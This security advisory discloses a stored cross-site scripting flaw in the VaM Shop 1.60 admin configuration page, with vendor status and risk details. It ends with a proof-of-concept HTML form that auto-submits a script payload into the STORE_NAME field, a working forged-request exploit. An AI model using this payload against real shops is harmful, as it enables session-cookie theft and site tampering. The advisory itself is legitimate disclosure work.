XSS vulnerability in VaM Shop

2011-01-11T00:00:00
ID SECURITYVULNS:DOC:25471
Type securityvulns
Reporter Securityvulns
Modified 2011-01-11T00:00:00

Description

Vulnerability ID: HTB22778 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_vam_shop.html Product: VaM Shop Vendor: Vamsoft ( http://vamshop.ru/ ) Vulnerable Version: 1,60 and probably prior versions Vendor Notification: 28 December 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin/configuration.php" script to properly sanitize user-supplied input in "STORE_NAME" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/configuration.php?gID=1&action=save" method="post" name="main"> <input type="hidden" name="STORE_NAME" value='My Shop"><script>alert(document.cookie)</script>'> <input type="hidden" name="STORE_OWNER" value="VaM Shop"> <input type="hidden" name="STORE_OWNER_EMAIL_ADDRESS" value="email@example.com"> <input type="hidden" name="EXPECTED_PRODUCTS_SORT" value="desc"> <input type="hidden" name="EXPECTED_PRODUCTS_FIELD" value="date_expected"> <input type="hidden" name="USE_DEFAULT_LANGUAGE_CURRENCY" value="false"> <input type="hidden" name="DISPLAY_CART" value="true"> <input type="hidden" name="ADVANCED_SEARCH_DEFAULT_OPERATOR" value="and"> <input type="hidden" name="STORE_NAME_ADDRESS" value="Address, Country"> <input type="hidden" name="SHOW_COUNTS" value="true"> <input type="hidden" name="CURRENT_TEMPLATE" value="vamshop"> </form> <script> document.main.submit(); </script>